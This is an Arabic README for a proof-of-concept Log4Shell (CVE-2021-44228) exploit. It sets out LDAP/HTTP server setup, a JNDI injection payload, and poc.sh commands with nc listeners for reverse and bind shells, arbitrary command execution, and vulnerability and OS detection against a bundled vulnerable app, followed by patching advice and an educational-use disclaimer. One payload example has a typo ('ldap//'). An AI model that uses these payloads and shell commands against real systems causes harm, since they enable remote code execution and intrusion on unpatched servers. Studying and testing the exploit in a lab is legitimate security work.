
استغلال إثبات المفهوم لـ CVE-2021-44228 (Log4Shell) مع خوادم HTTP و LDAP، يدعم القذائف العكسية/المرتبطة و RCE والكشف المستند إلى الوقت للاستخدام التعليمي.
PoC لـ CVE-2021-44228.
هذا المشروع لأغراض تعليمية فقط.
هذا المشروع يقوم بإنشاء خادمين: http و ldap. كلاهما ضروري لعمل الاستغلال. يتم تجميع ملف الجافا المحدد وبدء الخوادم في Dockerfile. يتم عرض الحمولة (Payload) للمستخدم - يجب تمريرها إلى التطبيق الضعيف.
مثال على الحمولة:
${jndi:ldap//127.0.0.1:1389/a}
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e bind --remote-port 4445
nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e reverse --listener-port 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e rce --cmd 'ls | tee log.txt'
يقوم البرنامج بالتوقف لمدة 25 ثانية
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e vulndetect
nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e osdetect --listener-port 4444
قد يعيد كشف نظام التشغيل 4 أحرف:
L لنظام لينكسW لنظام ويندوزM لنظام ماكU لنظام غير معروفتم نشر تقنية التجاوز. مثال هنا
تم تصميم التطبيق لإظهار كيفية عمله. لبناء وتشغيل ملف jar مع التطبيق استخدم:
./build_vuln_app.sh
java -jar vulnapp/target/vulnapp.jar 'PAYLOAD'
حيث PAYLOAD هو الناتج من سكريبت ./poc.sh (مثل ${jndi:ldap://127.0.0.1:1389/1}).
بعض الشكر للمشاريع والمواقع التي استخدمت أثناء إنشاء هذا الاستغلال:
ابدأ التطبيق باستخدام log4j مع تعيين log4j2.formatMsgNoLookups إلى true، أو قم بالتحديث إلى log4j-2.15.0-rc1 أو أحدث. التحديثات متاحة - قم بتطبيقها في أسرع وقت ممكن.
هذا المشروع يمكن استخدامه فقط للأغراض التعليمية. استخدام هذا البرنامج ضد الأنظمة المستهدفة دون إذن مسبق غير قانوني، وأي أضرار ناتجة عن سوء استخدام هذا البرنامج لن تكون مسؤولية المؤلف.